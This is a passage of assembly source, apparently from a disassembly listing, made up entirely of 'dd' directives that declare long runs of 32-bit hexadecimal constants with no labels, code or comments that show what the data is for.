		dd 2B12E3Dh, 0E18CD148h, 92BCF82Bh, 6AC04CBBh, 104B15A6h
		dd 0F8C96DECh, 24D9875h, 0ECC34FC9h, 67529422h,	2E7C0878h
		dd 741A86D0h, 0DF943929h, 6F87C4Ch, 0F84D8305h,	0C7EFEB02h
		dd 56FD63EEh, 0D689EB8Dh, 9D66D5DEh, 548B7340h,	0B9680BF0h
		dd 0FEC6122Ch, 5502D71h, 2EC5FF15h, 3A5C89EEh, 8D8295A8h
		dd 44DDD8BDh, 0F3D444CCh, 88B9AB1Bh, 0B42610B3h, 0D0B08EFCh
		dd 51840F83h, 26AADD4Eh, 454318BAh, 9E723410h, 6886A022h
		dd 5DF6FFD4h, 0E926F95Bh, 34E80F19h, 0B262A86Bh, 63465709h
		dd 255129Dh, 56012806h,	1215C5BDh, 0F335EE4Fh, 0DC2C48EAh
		dd 1E2128A1h, 0FB956120h, 0C8BB8C63h, 0FF0333C3h, 0F147D39h
		dd 0CC218E85h, 91320C12h, 0DCFA868Ah, 86A2963h,	1C7D8C73h
		dd 0CED0F8A2h, 412489B6h, 59717417h, 0B3FD0C15h, 4271E010h
		dd 0E43542Eh, 0EB059897h, 9512A40Ch, 0F4528D7Eh, 0C7F4A542h
		dd 0DF100872h, 5471742Dh, 0D6A01461h, 0DC2515EBh, 7523390Dh
		dd 5EC2338Ah, 739A43E6h, 13026FA2h, 2B4D53D6h, 0C8477C25h
		dd 8157C584h, 2F1F0F31h, 576866B6h, 6A5A33C7h, 14B84985h
		dd 5657DDEh, 75CE7309h,	23CB2D61h, 29816C8h, 26FB72BAh
		dd 0C9A66819h, 5B1E1042h, 943879BDh, 0FD688442h, 4AD8AB65h
		dd 2CD68CF8h, 6C4072EFh, 1CFE6831h, 18F032CAh, 0BA4A5F49h
		dd 12B71D14h, 0E3C45DE7h, 70CF1469h, 1DE82153h,	5F486221h
		dd 85566021h, 715C2D33h, 13E5EC91h, 0EC95BA11h,	521E1ABh
		dd 2A123DFEh, 7419FEFCh, 22562616h, 6F09CF11h, 0DD739333h
		dd 0DD6C48C7h, 0EF565185h, 922E698Dh, 5274FC40h, 2B0CDB18h
		dd 0F16DEC6h, 0DC624DDAh, 377CC80Dh, 0C6F02BE2h, 0BACED30Dh
		dd 7C09908Fh, 41DD1424h, 22A7FC97h, 1C6ADE10h, 0EC25574Eh
		dd 67694BEh, 27F435D8h,	0D6267E2Fh, 205271F1h, 590ACAEh
		dd 0D688278Eh, 26A83B46h, 8EA6DA7Ch, 8A5F5356h,	3403B59h
		dd 68245C8Bh, 37B87E18h, 0DAF2A782h, 27D6A030h,	6D54167Eh
		dd 6CE85F72h, 47071F14h, 0EA7CFE3Bh, 0FC0224B5h, 0FFC38B5Fh
		dd 0C870864Eh, 8DAC2F83h, 5704F1D1h, 0B2AFBF50h, 938D7D15h
		dd 0F7D2EA83h, 5BA28104h, 77F24675h, 0B23C2459h, 2448121Eh
		dd 0BF40C201h, 3F15D957h, 627E7E42h, 0EB1D7060h, 0A29D395Bh
		dd 0EAD38F27h, 4C140F6Ch, 755A8036h, 0A168BF3Eh, 52493C10h
		dd 4F463028h, 22645264h, 90013123h, 13886021h, 0F8E402C7h
		dd 35741593h, 0EF0FF4D6h, 0B52A138Dh, 0F1FC3B54h, 0F0BE07E0h
		dd 7B5439DFh, 0B1ECCF1Eh, 0BE789992h, 5D23423Ch, 1E9608A5h
		dd 3F08E4D1h, 3CE0578Eh, 2144DC88h, 1E94D872h, 19D4BE34h
		dd 48057D0Fh, 0ADC7A6D0h, 0D3A4AB6Fh, 41EF1038h, 4E1ECC84h
		dd 106AC445h, 1CA688A8h, 4D58F876h, 0F40864B9h,	0F90AB3C6h
		dd 5F7957E6h, 0CDBFFC12h, 0D3763978h, 205AB0F2h, 0C33B14E8h
		dd 3C157D32h, 0E849A5C8h, 75D04CD2h, 4C237F0Bh,	0F8A824EBh
		dd 0D197D64h, 51284D8Dh, 0B95E2A88h, 680FEB02h,	0AA26B9C4h
		dd 359B0C0Ch, 95495F6Bh, 89C526Ah, 1820E244h, 14FCB5A1h
		dd 5646E847h, 4B52B537h, 84B4D0CDh, 20C8AD26h, 8BFE25E5h
		dd 0B8AC49CCh, 0D19D84DBh, 24B0A44Ch, 7CBE0D96h, 0B1E43F4Fh
		dd 8D151674h, 75F94F46h, 59BFD856h, 8BBCC0B6h, 800E8B0Ah
		dd 104D3BB1h, 0B2947E0Fh, 2D83F87Fh, 71DC14C6h,	7267B818h
		dd 2584B4CBh, 4249EF8h,	8DBC5BBFh, 29808514h, 0C312D2Dh
		dd 84C35DBAh, 0D0D8B8B1h, 0AE388006h, 0A2050F2Dh, 0D23D47ACh
		dd 0EE7C1DAFh, 8B5641EBh, 45F669F7h, 9388E813h,	8D10F442h
		dd 95CED786h, 44DB8195h, 387D1C24h, 1ED22664h, 0DDCA64Dh
		dd 142932C3h, 2213E016h, 807DE430h, 5E2AF042h, 0FCC35FCAh
		dd 18DFA50Bh, 57A5F317h, 62163DD4h, 0B1DC5996h,	8A7593D2h
		dd 0D02AA77Bh, 0BDB85BBFh, 1F21F0A8h, 0D0D87042h, 3C3C488Ch
		dd 8D981D96h, 896504BEh, 0F5562D12h, 6DB556CCh,	0C3DCAD41h
		dd 34244074h, 0A0100246h, 9B0214Bh, 210A5553h, 0DB338E14h
		dd 67DED49h, 0B53679E4h, 7D245152h, 57C03371h, 0BCB6FF53h
		dd 0BE8D8AF2h, 20B12006h, 390CA11Ch, 0C403741Fh, 0C889775Dh
		dd 15BCE02Ah, 2206D89Eh, 4E5295DCh, 0CC957674h,	0E4218105h
		dd 0D0058812h, 42F0060Ah, 0C0AC3716h, 0E8B68DC2h, 0E51F3587h
		dd 0A5102736h, 0C585C21Eh, 0A052715Dh, 0A5EE878Ah, 0D3CE22FDh
		dd 2B3FC411h, 0C5BE4301h, 36B8CBE0h, 916A6C51h,	30F425AAh
		dd 0CF88BE14h, 5EA1646h, 0AE1A75D6h, 39600087h,	0FA04743Eh
		dd 574A98DFh, 3164953h,	4B4310FFh, 0DC084388h, 0BFCF97A2h
		dd 7B822E74h, 0F8CE93B9h, 1543B11h, 1750424h, 47C18140h
		dd 0D8F96227h, 3FE92686h, 22D2D2CAh, 413B3142h,	11CD0835h
		dd 0AC422148h, 0C35E0D22h, 4B08C28Bh, 396060D1h, 4B742445h
		dd 0EB288509h, 20E9F1DDh, 0B9D18748h, 1D7E0F10h, 1CA728F2h
		dd 5E4A6495h, 8F3CA320h, 332D1AEBh, 0C38211Fh, 13773EEh
		dd 1F096AC7h, 0EB1493E5h, 59284DCEh, 17D9B5D4h,	627F54A7h
		dd 0C8448889h, 64D80CC8h, 19E032DCh, 8BE80CE4h,	0B01BC9DFh
		dd 0B5CD24E4h, 0A3E27Ah, 840E8A58h, 0BF5A74C9h,	28DC7B7Ah
		dd 129F0C9Fh, 4C83D29Fh, 0AB2AF980h, 3F0A242Eh,	5B0A32A7h
		dd 3A0BEF08h, 5FB82ACAh, 62F0F025h, 50460A8Dh, 89450807h
		dd 0C5D59931h, 9AF8DA6h, 0F2DC13EBh, 43D629ECh,	464E185Dh
		dd 90A0EB47h, 502A7EEEh, 0A91D5F0Bh, 0B42F010h,	6BDFCA12h
		dd 4B0AFBD3h, 0C429EA3Ah, 0A86B2721h, 896DD6Ch,	0E02AF75Bh
		dd 0E7D210Ah, 398058F8h, 759080D3h, 0CDF4106h, 110AA67Ch
		dd 198A2C30h, 5DFB3380h, 2D26396Ch, 0B33C094Ch,	0F02D1C3Dh
		dd 0B0418A2Ch, 0EC71731Ch, 3AFF0049h, 3C1F7DC8h, 1B3B745Dh
		dd 163EE439h, 0A7F7D7FBh, 0D93AC08Ah, 0D8E8177Ch, 0A8137F30h
		dd 375F3289h, 3EFB0CEBh, 75183A01h, 162B3D03h, 0D4AF8302h
		dd 0A6820C64h, 2B98F8A2h, 0C88BD2C2h, 0F937602Bh, 0C4B2F93Bh
		dd 1F7AFF51h, 0D68CC94Dh, 84A724AEh, 439DEF8Dh,	120E5496h
		dd 0E8A01618h, 8A1C09F5h, 0A2D1109h, 10EB0D04h,	40B48515h
		dd 20210789h, 0C5DBE0EBh, 42EEA19h, 0F5A01EBDh,	3A088A0Fh
		dd 1198FCBh, 741A3816h,	667CB93Eh, 0FC4E0B1Dh, 12059319h
		dd 36F10960h, 7D38965Fh, 62076C3Ch, 106A8A3Ah, 741E7FBCh
		dd 124C8A24h, 0C605F2D3h, 34E8EBB9h, 3011F1CAh,	565B9CBh
		dd 0AEA62965h, 0C4750AACh, 0D363B20h, 51970CF8h, 0C944906h
		dd 0F901CC55h, 0F73E304Ch, 3103C130h, 5B8A1474h, 8A0AAA01h
		dd 75410F40h, 80C205F1h, 0FFBA012Eh, 0F7EE2FEh,	0F083D003h
		dd 0FBC23304h, 0E3A99282h, 748189FEh, 0FC41F28Ch, 0E4E83259h
		dd 24D427B0h, 137C6605h, 8110DF0Fh, 8DCDEB02h, 5681FE41h
		dd 90C3C12Bh, 0FDB2FE14h, 5EFC4716h, 5220B522h,	0A6D0B767h
		dd 0FEE006CFh, 4291A4AFh, 7FE41A59h, 0D7E0D832h, 0FD22D6ECh
		dd 64DF8B0h, 78F08BE4h,	0E0164E08h, 6E0C2080h, 9C503D0Dh
		dd 9BFC423Bh, 0C62B2858h, 0F725D25Eh, 13605508h, 47BF0985h
		dd 858A0305h, 0F9AC401Ch
		dd 7204FA83h, 0D9F72D1Dh, 7403E1C7h, 88D12BF0h,	49470907h
		dd 0E009FA75h, 0C82CE4F5h, 0CA86100Fh, 30CE283h, 67402E9h
		dd 7776ABF3h, 0B24A49C8h, 61C65F7Fh, 5812058Bh,	81C18366h
		dd 24C74108h, 1A213910h, 0BC0FD9F8h, 8C329F7Dh,	42263189h
		dd 0F685E8E3h, 1EB03590h, 7435FF2Eh, 0EC46754Bh, 9C94D828h
		dd 7C83C318h, 6E77E078h, 89F02722h, 16D610C0h, 74B9C539h
		dd 1142010h, 5084BA05h,	1AC3B1DEh, 7AB8E4A1h, 6008B2E9h
		dd 751B0321h, 0C9A3B15h, 563F7721h, 43440B4Bh, 0C4346C74h
		dd 75290234h, 20349C2Dh, 708D8D00h, 26E6830Fh, 0CC5EBF0h
		dd 0CC5A5E10h, 4F424020h, 2421ED1Fh, 0D70E3704h, 0B1C8133Ch
		dd 8A2C901Eh, 5EE6489Ah, 2CC65083h, 0D869656h, 0D8AFE035h
		dd 0F0942015h, 96CCA032h, 5795A901h, 4441E235h,	0E431104Dh
		dd 19006C45h, 3BC603D1h, 0B0767AFEh, 820F1309h,	0F73F4478h
		dd 141DCCC7h, 32AB2C92h, 7208F998h, 1900294Eh, 0EA889524h
		dd 5024B240h, 48831DBAh, 0C3A6EE9h, 63FCE0BDh, 0A08530C8h
		dd 8D0E18ECh, 903FCC98h, 66841C11h, 9DC29B0h, 231B84E1h
		dd 6D978AD1h, 0DD014642h, 26D19D2h, 0B49012AFh,	5DC72AC6h
		dd 8DC5CC42h, 172C2949h, 413B6826h, 0BA611E6h, 19249029h
		dd 42474546h, 409C8C1Ah, 6C0F7F66h, 5C644409h, 4C125489h
		dd 3C484424h, 8E1F53A8h, 8F5D89E4h, 2EE81132h, 0E9EC2291h
		dd 912EF012h, 12E9F422h, 22912EF8h, 728DE8FCh, 0E2BB104h
		dd 0F849F003h, 48F10A14h, 9C8A0F1h, 49C091ACh, 425E2EE7h
		dd 909E9094h, 0FA64E40Ch, 0A4551234h, 0B51B50Eh, 748D832Ch
		dd 7CD01D31h, 0E4802439h, 500D3824h, 0C4FCE4FDh, 24EC20F1h
		dd 6645E685h, 0F035EBD0h, 8CF99028h, 28102B42h,	0EC20C4EBh
		dd 5819384Ch, 0B28009C8h, 3B4303DCh, 4E65E075h,	57084FB3h
		dd 98477BB6h, 8CA45320h, 91EF06EEh, 2A8C947Eh, 289690B2h
		dd 0E2AC4BD4h, 0EFAC85EEh, 4684AF24h, 1A8AB1FAh, 80D42A5Ch
		dd 0E409DC64h, 0F491EC48h, 467FC22h, 1949173Fh,	48171C98h
		dd 89741891h, 91481714h, 0C897410h, 8914817h, 17048974h
		dd 20B1F248h, 380D9930h, 5C124809h, 85A8C2Ah, 88A9B6B8h
		dd 84AB10E8h, 0B67214C8h, 0E24099B8h, 0C4773D51h, 0A082B0CFh
		dd 9D811418h, 92EC9C01h, 8511412Dh, 73185301h, 8B8581FCh
		dd 3B1ABAC4h, 40A650E1h, 1A95A4B0h, 95515071h, 8D5A9805h
		dd 2CF632FBh, 742EE16h,	6C1077EFh, 19CF5036h, 5B82F308h
		dd 4BF7C43Ah, 3AE8A326h, 152350FCh, 72BC4A4Eh, 97D711CFh
		dd 8FC3533h, 0EB8BA113h, 42E31E0Fh, 93A34324h, 82BC0AEh
		dd 8D3B6AEBh, 0DE254AA4h, 9657AAC8h, 620FC401h,	0FCBB143Bh
		dd 1A1223D9h, 3F0E0E31h, 9A1DCA79h, 899FE5Eh, 9571FD0Ah
		dd 94ED0AAEh, 19C2600Ch, 0D207118Ah, 17886470h,	4B63A647h
		dd 6CAB1FEEh, 680415C5h, 6F6ADE68h, 0E66C112Ah,	347461E1h
		dd 27151D90h, 346AC2F7h, 6B331012h, 9F725CC7h, 440966CAh
		dd 0A9487C6h, 8812EC0Dh, 659408A6h, 10E98DF9h, 0D25F281Dh
		dd 69E47382h, 662C7F91h, 9D244EEBh, 0FBE385EFh,	183534CCh
		dd 3F422050h, 0E3362101h, 6742C8DDh, 600E70D8h,	0F0256651h
		dd 3D0A7F64h, 0DF06FF16h, 2D3D5575h, 1291AB20h,	0D7C3252Dh
		dd 23E388F4h, 8E535DCDh, 0B6A4188h, 52BB1989h, 567015DDh
		dd 7FDC4A53h, 0DC0F6230h, 0A248D005h, 682942BFh, 526E311Fh
		dd 553DC10Ah, 5D8D701Fh, 0DCCD2CF8h, 0DF5F02DBh, 0E759EE0h
		dd 10F840B9h, 1AC3F622h, 19ED7520h, 106E3F3Eh, 0E40E4D4Dh
		dd 97077AF6h, 2349CF26h, 0A3AC2209h, 0B86260h, 0E2DB5C0Ah
		dd 30B8E2C3h, 0C7F4369Ah, 41EBEC05h, 8D332FDFh,	13E8A314h
		dd 22F01E91h, 0F414C895h, 4432D588h, 237D4AF8h,	0C325FC11h
		dd 0BA03449Bh, 7DD99BF4h, 87FBA5FEh, 0CC80511Bh, 0BCD0DE0Ch
		dd 0DFE66DFEh, 0CF47D33h, 0E62676FEh, 49F84855h, 548568ACh
		dd 0CA80C46h, 1E0CF18Fh, 931DF95Eh, 0EA9CDAA8h,	58647AF0h
		dd 3CF631Dh, 0B508A32Ah, 6387A46Eh, 8A011B0h, 82B4E0FFh
		dd 8C28Eh, 4875958h, 71CD024h, 57C211D5h, 318CA164h, 0B2B4F886h
		dd 84F0E40Bh, 2EAC6AA4h, 0A198FBD2h, 47C7D648h,	86FD243Dh
		dd 4178D04Dh, 0B8CF2EA4h, 0FDD49BF8h, 0D25D7350h, 2A04FB33h
		dd 1B8EFCA1h, 250C033h,	1B8894Fh, 277B9BF6h, 1B1FD997h
		dd 0AC766714h, 5D59E5E6h, 0C6A99E31h, 0AC71651Eh, 0ED2A084Dh
		dd 8A1428B3h, 0F195F010h, 0DA4DFC72h, 0A1149ACEh, 0E704D897h
		dd 0A2E16614h, 0B7511836h, 0F12F5BABh, 0EC68958Bh, 1AC1C9F8h
		dd 0A04B761Bh, 708281C8h, 8BCF8B9h, 1A115BEDh, 2A794384h
		dd 0F2CEAF34h, 0DCE018D8h, 4BF24A6Eh, 1966189Eh, 10E40CC8h
		dd 8BE8201Ch, 65521CAFh, 0F40832F0h, 0FC4DF824h, 5F27465Fh
		dd 6526896Eh, 9E28F86Dh, 2D9C83D8h, 1CC4489h, 525D8632h
		dd 0C106333h, 12318DD4h, 30FF2150h, 0BC3015C9h,	6D8C974Bh
		dd 9CC8CC94h, 1774097Dh, 57A1BC16h, 0EB1B0BD8h,	8AF45C09h
		dd 0EECC25CDh, 0D560A4F4h, 8309918Dh, 8D4166E0h, 7DC76D0Fh
		dd 0B6012422h, 0A4D9BCCh, 14EC2340h, 0D1006A9h,	17AB0059h
		dd 0D823CD03h, 75E02478h, 59290B6Bh, 0BCE089E7h, 0D81C3399h
		dd 0FF76206Bh, 0B7A8184Fh, 69BA5DC9h, 5A1D7877h, 77A34C57h
		dd 9AC45F44h, 0B1FC89C6h, 0BE397C84h, 0C5051CB0h, 0A0B22FA7h
		dd 8D024EC3h, 4C39B604h, 0C00A7083h, 483B055Eh,	42EB7E08h
		dd 0F6910C1Fh, 68A4324Dh, 0AF39486Bh, 4D8FE8CAh, 89461A14h
		dd 72800C31h, 0C473B01h, 9404773Ah, 9B4876F0h, 85F06B89h
		dd 0F28C34C4h, 959A6AECh, 0F378680Eh, 94281340h, 2442995Dh
		dd 5012AF3Fh, 52069541h, 5CDEB8FFh, 88A50F44h, 72502A6Ch
		dd 52B84A02h, 0BF03E5F4h, 6A508327h, 5A8068FEh,	0E662ED83h
		dd 5808A134h, 881960A8h, 972E74A9h, 803D850Eh, 76348D28h
		dd 0B3340C8Bh, 0E20CB489h, 0F47C3048h, 1C249004h, 68016812h
		dd 0FDB8F92Eh, 0FF36E406h, 0EB0B1254h, 0E48F64C3h, 8AC5B8B3h
		dd 28CD568Dh, 0A0D42C6h, 69047981h, 5150722Ah, 39E652FAh
		dd 5F608ECh, 8B839CA6h,	746CBBD9h, 0A53EB76h, 8CEF4809h
		dd 7643064Bh, 0C6B0604h, 0D0C25B59h, 0FF6AF080h, 9D50504Dh
		dd 0C579BEAh, 6C6676A6h, 2F098D16h, 0D430C350h,	597BAFDCh
		dd 88FD40BCh, 0EE7CF5C8h, 0D82386F4h, 85C14F5h,	1C29F033h
		dd 78FB137Bh, 0C810BE40h, 0C811BAF5h, 400CA9F5h, 0AC0FCCBFh
		dd 9C89A409h, 8C249412h, 7C918448h, 0B1402B5Bh,	809F5C8h
		dd 9C8E0F1h, 0F62FB8ECh, 60784035h, 109E85F7h, 0F66858E3h
		dd 0F7602286h, 98197866h, 6DC04509h, 4360A840h,	4660A8F7h
		dd 5C0CA9F7h, 1C0FCC14h, 2C892409h, 3C243412h, 57914448h
		dd 0B5402B5Bh, 32702063h, 8809780Dh, 0CA569C24h, 0F96AE840h
		dd 382F3D2Eh, 0B8F8080Ch, 0A832404Bh, 0BA1158Bh, 0F4C96059h
		dd 0F1440FDFh, 0B5C5F22Bh, 5E309987h, 0AB523A73h, 0E2C0F21Fh
		dd 302E3848h, 470FBC08h, 23C39575h, 0AB52B2Fh, 5A319h
		dd 8D02F9C1h, 8952880Ch, 0CAC54A46h, 583E381h, 149B0C47h
		dd 97E779C1h, 0ACF6044h, 96163748h, 0B49B37AFh,	3E590A82h
		dd 6A0D7583h, 0FC230A18h, 6B8DA152h, 9D208DDh, 5A42A394h
		dd 5768612Dh, 1B2D4921h, 0EEA3A068h, 222FE3FFh,	0C3110C8h
		dd 9330110h
		dd 0ED6F1081h, 15EE6F93h, 9BB79B04h, 4B3142BCh,	0D4530C12h
		dd 12E4FAD5h, 8D1F0B8Ah, 80D70177h, 303D8319h, 0F49DB844h
		dd 270F717Eh, 8DF9C3B6h, 863E933Dh, 0E7FA98C7h,	3042240Dh
		dd 48A2B84h, 0B9A0C441h, 4053D0Eh, 0D0EB461Eh, 6D6E0AF8h
		dd 20D6A852h, 1C056614h, 31DA162Bh, 0A725F27h, 0C48C0F38h
		dd 0F2F87583h, 953EB84h, 7A8FC924h, 392C6A13h, 5E301959h
		dd 0A3097430h, 220AEACCh, 4FC032EBh, 0DFE783Ch,	13A958E8h
		dd 5C1F0808h, 3931DA89h, 0BA177506h, 2012AA53h,	81FE0441h
		dd 46015EADh, 266012C6h, 0F778D233h, 3BF101Ah, 8E3D70A9h
		dd 0F3A680BDh, 6A0C0A7Eh, 50BD5604h, 0BCA4A10Bh, 770B981h
		dd 0BD8A448h, 0F886CBBEh, 0EC85E230h, 2B570B0Ah, 0C68B66D8h
		dd 57C72358h, 91C34A40h, 0BA3D0904h, 68C81786h,	4DC1375Bh
		dd 75E83673h, 8EEA9F8h,	72F4B9F3h, 940CDADBh, 48CAFE84h
		dd 4800576h, 0AF0F09EBh, 0F1031CC5h, 56F89F0Bh,	8A06B27Ah
		dd 69ECAE5Fh, 0EFF36391h, 0EFF0B33Fh, 8C134F6h,	4EF8BD40h
		dd 44FC2022h, 4DEB3182h, 7DB8042Ah, 1C75191Bh, 3ED40114h
		dd 2E12483h, 7D810D06h,	80028F34h, 0C9852177h, 33F2C75h
		dd 0F627762Ah, 0C70114A8h, 484052Fh, 70AE223Bh,	11EBFF4Bh
		dd 6080B5CCh, 1BD917F6h, 35105C9h, 9B36A1C8h, 0D3F905BBh
		dd 90616B02h, 31F85FC1h, 8FD4A26Ch, 0AE046F1h, 29FC6BEh
		dd 0CBA938D2h, 3B0F1293h, 5553131Fh, 23E9C9EBh,	0D307C80Fh
		dd 92121F49h, 19030F2Ch, 2CD2EB47h, 0FEF0DB37h,	0EE7E8B2Dh
		dd 0A24FC9Ch, 15100414h, 9544DB33h, 0B00DBC93h,	149B73FFh
		dd 31D0465Ch, 83CFEB06h, 0C31486FDh, 4EB50275h,	711953EBh
		dd 2CDBEA36h, 920146F7h, 0FD04EAC2h, 0C2F71868h, 3C476894h
		dd 403A02C2h, 0CF0A2E3Ch, 610C269Eh, 0E4F22512h, 0C11F1DF2h
		dd 410F10E8h, 2B198C02h, 0E7038111h, 0E893BFF5h, 0F4369EC2h
		dd 9D60B8D2h, 80900385h, 40E0D189h, 8818B2EFh, 63987E01h
		dd 8B194202h, 0E06341E9h, 1BC228BEh, 40B266A8h,	89D25C68h
		dd 89C908CAh, 0F296A4C1h, 3FE28C13h, 0A3DE572Fh, 0C46053Ch
		dd 0F85240A8h, 3AEB0F07h, 3454DE9Eh, 144086EBh,	11F8603Eh
		dd 76FFAE3Fh, 5C3E1044h, 7DC636FBh, 0EB326105h,	0A21C6412h
		dd 71500BFBh, 66830FD4h, 0C77B4CB7h, 53BC0C0Eh,	7EE0942Dh
		dd 0E84D987Dh, 907ABD10h, 0E285CF2Ch, 3DD3483Fh, 32FA5B4Dh
		dd 0E0D5EDE0h, 6E661477h, 129EAF7h, 0C7F6E22Eh,	0ACEBE4BBh
		dd 2F977560h, 0E20329FAh, 2A1C195Dh, 83C1AC6Fh,	0C8C83B23h
		dd 0A00272F9h, 30FF578Eh, 0D9E35336h, 0F4B02940h, 4517EE6h
		dd 3921193h, 0FCD284DFh, 0DDC04BEBh, 0B72E7214h, 0C1C911AFh
		dd 0D4137D89h, 2B0A12FEh, 0BC5350C2h, 18BF41C2h, 0F2B73674h
		dd 2937261Eh, 0D80302BCh, 0E59918EBh, 592581E6h, 3882874h
		dd 0D5438753h, 0DD14C6E4h, 0F09B88Ch, 3FDC7685h, 68CC1044h
		dd 0C4E3C83h, 0D04EB9Ah, 9BC7BFC1h, 7B7E2BB8h, 0E5EB2EBEh
		dd 821AEB86h, 77EA2943h, 45FEEC0h, 0F47D39B0h, 10D20375h
		dd 5F539A0Ah, 0F160450Ch, 43C35B3Bh, 578B5B70h,	0C2D704D5h
		dd 31808708h, 2404472Bh, 955AEE05h, 874FAEC2h, 0D9F1D8FFh
		dd 6883C2F6h, 2974F85Dh, 0DEF0D6FBh, 6190FAC1h,	51FE33Dh
		dd 0B7C09514h, 44F62A80h, 800428DAh, 0FD1FC9Eh,	2273D03Bh
		dd 0EF0A3A24h, 3742BFB4h, 0DB62F1EBh, 4DB15389h, 36BE1416h
		dd 94B6A2FAh, 33247596h, 47F60E44h, 0A3AB4385h,	43572D82h
		dd 213210E7h, 2B8DC055h, 5EC203C1h, 0C68A0F89h,	0E6D8F80Ch
		dd 1C8D1F08h, 0A4BE4F85h, 0E2643904h, 2B6A4E06h, 0F47AC902h
		dd 805BC24Bh, 478B1D3Bh, 4C2064D4h, 0C1057DA4h,	38800B73h
		dd 40E48B37h, 200D4743h, 2F8534B2h, 0B83263FCh,	79750282h
		dd 770885DAh, 24E3160Dh, 535C8735h, 0C2AE04C5h,	7DEC4749h
		dd 1ED067A4h, 20485942h, 76B38B29h, 0C10324B8h,	9632696Eh
		dd 8A909344h, 33EA6F5Bh, 44DF0A01h, 0ABA0D401h,	245D4C03h
		dd 891937EFh, 0AF0DA53Ch, 0BF7CD2E2h, 0E556A589h, 6DCDB324h
		dd 0C140A8F1h, 0CFFC2407h, 0F3FEEB45h, 0FAFE106Ah, 4C48280h
		dd 0E2D70AB7h, 57169921h, 9314944Eh, 0A1DD1710h, 334C933h
		dd 0C195130Fh, 0EB310449h, 49549B0Dh, 474B62CCh, 172B716Ah
		dd 976B7950h, 6B21FA78h, 0A87B406Ah, 26EFB161h,	52E89FA6h
		dd 5797CF5Eh, 2181FD14h, 4C4127A7h, 0C9526856h,	223ED853h
		dd 39114707h, 0E3DFC7F7h, 472CC764h, 161F4484h,	0A0A438Ch
		dd 0A84FCF75h, 0AC128E27h, 0F5030A08h, 47080BCAh, 0C6F78AD1h
		dd 16099F4Dh, 700887D9h, 8A1CEB4Eh, 61461627h, 0B3B3313h
		dd 41084943h, 63EB641Eh, 0DCCBBA30h, 470D9BE2h,	54D3F60h
		dd 0F4F37549h, 5E5B270Fh, 101B1267h, 89144E1Ch,	0D07E9373h
		dd 62176B3h, 0C6741647h, 0D024DE72h, 75F02A48h,	448957C6h
		dd 0C469844Eh, 880D0233h, 109A0257h, 10ED1B32h,	740230ABh
		dd 8853567Ah, 0A472D2A6h, 0BB84103Ah, 0EB6FB620h, 68A1621h
		dd 7494F446h, 2B182549h, 51C5D429h, 0D2503584h,	2F3D9821h
		dd 32D2A24Bh, 868B267h,	77273B9Ch, 7AB9D312h, 6C3B48EEh
		dd 0FA5E33D9h, 0F547FF4Ah, 2CD9AF23h, 0C391E12h, 1355580Eh
		dd 0A6A5E281h, 700E1591h, 44886h, 0FB615445h, 0A0AAC9Bh
		dd 608907E2h, 0B10E8762h, 53A485AAh, 0A3041109h, 0F45A5080h
		dd 6906A0A1h, 43FD28C0h, 38057DA3h, 1655269Eh, 1910A930h
		dd 9C7FFF25h, 11FD2EC3h, 4AA8E8D3h, 0ED6834EBh,	30146279h
		dd 44D009A1h, 3B13EA74h, 0C24E7A05h, 0E81BF975h, 2E117812h
		dd 7624E612h, 0E2242122h, 14447248h, 7090E048h,	68A10783h
		dd 45EB0F12h, 2C8A9CEFh, 6508F6B7h, 1752A91Bh, 5F0A6612h
		dd 0B19EECEh, 0EC05DC0Ch, 0CD12977Fh, 28128053h, 750A7AACh
		dd 1843BFE0h, 0A35F03A5h, 2B5E46A1h, 0FC25B8B8h, 42D13477h
		dd 13F221F6h, 478D91F0h, 3A5075E2h, 1FF51415h, 62AD8902h
		dd 4B10451Dh, 56530500h, 299118Ah, 697A722Ah, 75017124h
		dd 0F7D94F9Fh, 43601435h, 0D0383E46h, 9EEA15A4h, 0B06D40Bh
		dd 752E0A20h, 5F133EF5h, 11091784h, 8D1881F0h, 61E8FF7Eh
		dd 6B3EB202h, 0C2E02228h, 753CE038h, 34199C4h, 66DD1865h
		dd 0BDAEE13Fh, 0EBDF0D23h, 6B8960B1h, 1840C28Ah, 50B7A6FAh
		dd 8C1BD48Bh, 9406C728h, 3D8381C6h, 3B4BA314h, 0FF64C189h
		dd 6980BD45h, 0AA8C0F41h, 0BC3C1CB9h, 0A18F945Ah, 20C01809h
		dd 96E6F375h, 135F2FE5h, 0DF3BA092h, 257D095Eh,	35E83539h
		dd 0CB980B7Eh, 0AE4339Ch, 0C6235870h, 0B2984EBAh, 65EBC31Dh
		dd 6A131514h, 800DC14h,	0F6C8B60Fh, 14A2E44h, 31F33CB8h
		dd 28A0A65h, 92D8B988h,	611C095Dh, 1A6E1EF7h, 0D4AAE214h
		dd 4D8D07A8h, 510352FCh, 0C1349255h, 994935C3h,	0A448BB8Bh
		dd 7421105Fh, 0D7C19FAEh, 728EA806h, 0DCD1BB0h,	5AAF08FDh
		dd 0D20BB661h, 6BE4F9F5h, 629890FAh, 0F2086A28h, 7D8D5903h
		dd 0D2ABF3E0h, 16F88207h, 5C70D8B3h, 2317F9CAh,	0CA00BFCFh
		dd 448DE3D2h, 186ACB05h, 7FF38A9h, 619955E5h, 0A5420633h
		dd 8ACD4880h, 516A6702h, 5BCED3F0h, 0E3D35200h,	8A03EEC1h
		dd 0E035024Ch, 774D984h, 42E24E4Bh, 0DAB30655h,	1E17CA44h
		dd 4A56B624h, 0E0D35815h, 75149E26h, 22801C22h,	5FEB503Bh
		dd 5EC22B17h, 0A2893FD2h
		dd 89C32356h, 0AD2DCF9Ch, 0FC42560Fh, 255AFF85h, 2D61DF4Fh
		dd 880B78F5h, 4EE0EF07h, 8E1810Ch, 0FB07992h, 22612B9Ch
		dd 0FBE5D83Bh, 1C093A19h, 9C2DE636h, 0DF2BC32Ah, 0EB087DB8h
		dd 5D3B4610h, 4B749A75h, 0B432350Bh, 0C49779CCh, 0A10D5187h
		dd 0FBC13938h, 0BBEBFA2Bh, 214A4386h, 14F34A28h, 0F74709C8h
		dd 0D82B9940h, 72C7133Bh, 0E875D63Eh, 0F561CC3h, 0D65082BEh
		dd 4AC469F6h, 0D4502E4Bh, 0A64B2AA5h, 0A87FB4CAh, 0DA9BEB49h
		dd 0B0C2D7DBh, 0E16B5173h, 0CD8AFC0Ah, 0BF752BC7h, 0F4E74DFBh
		dd 89608A5Fh, 3D1ED053h, 0D92726E3h, 20F72249h,	0AE5EF20Eh
		dd 0E9CB250Fh, 0F3C920FEh, 0B8468AA6h, 3AC92697h, 47705B3h
		dd 124FC774h, 0C641D1F7h, 633D7A5Bh, 188476A5h,	186CC20Bh
